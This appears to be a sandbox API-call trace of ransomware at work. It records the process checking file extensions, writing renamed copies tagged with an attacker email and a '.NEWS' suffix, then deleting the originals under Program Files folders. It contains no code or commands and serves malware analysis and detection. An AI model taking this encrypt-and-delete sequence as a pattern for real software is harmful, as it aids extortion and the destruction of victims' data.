[0223.027] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0223.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.028] lstrlenW (lpString=".doc") returned 4 [0223.028] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0223.028] lstrlenW (lpString=".docx") returned 5 [0223.028] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0223.028] lstrlenW (lpString=".pdf") returned 4 [0223.028] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0223.028] lstrlenW (lpString=".xls") returned 4 [0223.028] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0223.028] lstrlenW (lpString=".xlsx") returned 5 [0223.028] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0223.028] lstrlenW (lpString=".ppt") returned 4 [0223.028] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0223.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.029] lstrlenW (lpString=".zip") returned 4 [0223.029] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0223.029] lstrlenW (lpString=".rar") returned 4 [0223.029] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0223.029] lstrlenW (lpString=".bz2") returned 4 [0223.029] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0223.029] lstrlenW (lpString=".7z") returned 3 [0223.029] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0223.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.029] lstrlenW (lpString=".dbf") returned 4 [0223.029] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0223.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.030] lstrlenW (lpString=".1cd") returned 4 [0223.030] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0223.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0223.030] lstrlenW (lpString=".jpg") returned 4 [0223.030] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0223.030] lstrcmpiW (lpString1=".xsl", lpString2=".NEWS") returned 1 [0223.031] lstrlenW (lpString="Sybase.xsl") returned 10 [0223.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0225.531] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=29790) returned 1 [0225.531] CloseHandle (hObject=0x398) returned 1 [0225.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0225.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0225.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0225.677] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.679] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0225.680] GetLastError () returned 0x0 [0225.680] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x745e, lpOverlapped=0x0) returned 1 [0225.772] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x7460, lpOverlapped=0x0) returned 1 [0225.778] ReadFile (in: hFile=0x324, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.778] WriteFile (in: hFile=0x388, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0225.778] SetEndOfFile (hFile=0x388) returned 1 [0225.778] CloseHandle (hObject=0x388) returned 1 [0225.779] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.779] SetEndOfFile (hFile=0x324) returned 1 [0225.788] CloseHandle (hObject=0x324) returned 1 [0225.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0225.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0225.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.812] lstrlenW (lpString=".doc") returned 4 [0225.812] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0225.812] lstrlenW (lpString=".docx") returned 5 [0225.812] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0225.812] lstrlenW (lpString=".pdf") returned 4 [0225.812] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0225.812] lstrlenW (lpString=".xls") returned 4 [0225.812] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0225.813] lstrlenW (lpString=".xlsx") returned 5 [0225.813] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0225.813] lstrlenW (lpString=".ppt") returned 4 [0225.813] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0225.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.813] lstrlenW (lpString=".zip") returned 4 [0225.813] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0225.813] lstrlenW (lpString=".rar") returned 4 [0225.813] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0225.813] lstrlenW (lpString=".bz2") returned 4 [0225.813] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0225.813] lstrlenW (lpString=".7z") returned 3 [0225.813] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0225.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.814] lstrlenW (lpString=".dbf") returned 4 [0225.814] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0225.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.814] lstrlenW (lpString=".1cd") returned 4 [0225.814] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0225.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.814] lstrlenW (lpString=".jpg") returned 4 [0225.814] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0225.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.815] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.815] lstrlenW (lpString=".doc") returned 4 [0225.815] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0225.815] lstrlenW (lpString=".docx") returned 5 [0225.815] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0225.815] lstrlenW (lpString=".pdf") returned 4 [0225.815] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0225.815] lstrlenW (lpString=".xls") returned 4 [0225.815] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0225.815] lstrlenW (lpString=".xlsx") returned 5 [0225.815] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0225.815] lstrlenW (lpString=".ppt") returned 4 [0225.815] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0225.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.816] lstrlenW (lpString=".zip") returned 4 [0225.816] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0225.816] lstrlenW (lpString=".rar") returned 4 [0225.816] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0225.816] lstrlenW (lpString=".bz2") returned 4 [0225.816] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0225.816] lstrlenW (lpString=".7z") returned 3 [0225.816] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0225.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.816] lstrlenW (lpString=".dbf") returned 4 [0225.816] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.817] lstrlenW (lpString=".1cd") returned 4 [0225.817] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0225.817] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0225.817] lstrlenW (lpString=".jpg") returned 4 [0225.817] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0225.817] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0225.818] lstrlenW (lpString="AG00021_.GIF") returned 12 [0225.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0226.256] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=14873) returned 1 [0226.256] CloseHandle (hObject=0x398) returned 1 [0226.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 0x20 [0226.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0226.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0226.257] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.257] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0226.554] GetLastError () returned 0x0 [0226.555] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x3a19, lpOverlapped=0x0) returned 1 [0226.560] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x3a20, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0x3a20, lpOverlapped=0x0) returned 1 [0226.564] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0226.564] WriteFile (in: hFile=0x338, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0226.565] SetEndOfFile (hFile=0x338) returned 1 [0226.590] CloseHandle (hObject=0x338) returned 1 [0226.591] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.591] SetEndOfFile (hFile=0x398) returned 1 [0226.601] CloseHandle (hObject=0x398) returned 1 [0226.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0226.602] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00021_.gif")) returned 1 [0226.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.603] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.603] lstrlenW (lpString=".doc") returned 4 [0226.603] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0226.604] lstrlenW (lpString=".docx") returned 5 [0226.604] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0226.604] lstrlenW (lpString=".pdf") returned 4 [0226.604] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0226.604] lstrlenW (lpString=".xls") returned 4 [0226.604] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0226.604] lstrlenW (lpString=".xlsx") returned 5 [0226.604] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0226.604] lstrlenW (lpString=".ppt") returned 4 [0226.604] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0226.604] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.605] lstrlenW (lpString=".zip") returned 4 [0226.605] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0226.605] lstrlenW (lpString=".rar") returned 4 [0226.605] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0226.605] lstrlenW (lpString=".bz2") returned 4 [0226.605] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0226.605] lstrlenW (lpString=".7z") returned 3 [0226.605] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0226.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.605] lstrlenW (lpString=".dbf") returned 4 [0226.605] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0226.605] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.605] lstrlenW (lpString=".1cd") returned 4 [0226.606] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0226.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.606] lstrlenW (lpString=".jpg") returned 4 [0226.606] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0226.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.606] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.606] lstrlenW (lpString=".doc") returned 4 [0226.606] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0226.606] lstrlenW (lpString=".docx") returned 5 [0226.606] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0226.606] lstrlenW (lpString=".pdf") returned 4 [0226.607] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0226.607] lstrlenW (lpString=".xls") returned 4 [0226.607] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0226.607] lstrlenW (lpString=".xlsx") returned 5 [0226.607] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0226.607] lstrlenW (lpString=".ppt") returned 4 [0226.607] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0226.607] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.607] lstrlenW (lpString=".zip") returned 4 [0226.607] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0226.607] lstrlenW (lpString=".rar") returned 4 [0226.607] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0226.608] lstrlenW (lpString=".bz2") returned 4 [0226.608] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0226.608] lstrlenW (lpString=".7z") returned 3 [0226.608] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0226.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.608] lstrlenW (lpString=".dbf") returned 4 [0226.608] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0226.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.608] lstrlenW (lpString=".1cd") returned 4 [0226.608] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0226.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00021_.GIF") returned 63 [0226.608] lstrlenW (lpString=".jpg") returned 4 [0226.608] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0226.609] lstrcmpiW (lpString1=".GIF", lpString2=".NEWS") returned -1 [0226.609] lstrlenW (lpString="AG00038_.GIF") returned 12 [0226.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0226.612] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x2f2ff1c | out: lpFileSize=0x2f2ff1c*=3251) returned 1 [0226.612] CloseHandle (hObject=0x398) returned 1 [0226.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0x20 [0226.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0226.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0226.613] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.613] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0226.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0227.084] GetLastError () returned 0x0 [0227.084] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0227.089] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0227.092] ReadFile (in: hFile=0x398, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2f2fed4*=0x0, lpOverlapped=0x0) returned 1 [0227.093] WriteFile (in: hFile=0x35c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2f2fc9c*=0xec, lpOverlapped=0x0) returned 1 [0227.093] SetEndOfFile (hFile=0x35c) returned 1 [0227.093] CloseHandle (hObject=0x35c) returned 1 [0227.093] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec8 | out: lpNewFilePointer=0x0) returned 1 [0227.094] SetEndOfFile (hFile=0x398) returned 1 [0228.079] CloseHandle (hObject=0x398) returned 1 [0228.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0228.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0228.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.632] lstrlenW (lpString=".doc") returned 4 [0228.632] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0228.632] lstrlenW (lpString=".docx") returned 5 [0228.632] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0228.632] lstrlenW (lpString=".pdf") returned 4 [0228.632] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0228.632] lstrlenW (lpString=".xls") returned 4 [0228.632] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0228.632] lstrlenW (lpString=".xlsx") returned 5 [0228.632] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0228.632] lstrlenW (lpString=".ppt") returned 4 [0228.633] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0228.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.633] lstrlenW (lpString=".zip") returned 4 [0228.633] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0228.633] lstrlenW (lpString=".rar") returned 4 [0228.633] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0228.633] lstrlenW (lpString=".bz2") returned 4 [0228.633] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0228.633] lstrlenW (lpString=".7z") returned 3 [0228.633] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0228.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.634] lstrlenW (lpString=".dbf") returned 4 [0228.634] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0228.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.634] lstrlenW (lpString=".1cd") returned 4 [0228.634] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0228.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.634] lstrlenW (lpString=".jpg") returned 4 [0228.634] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0228.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.634] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0228.634] lstrlenW 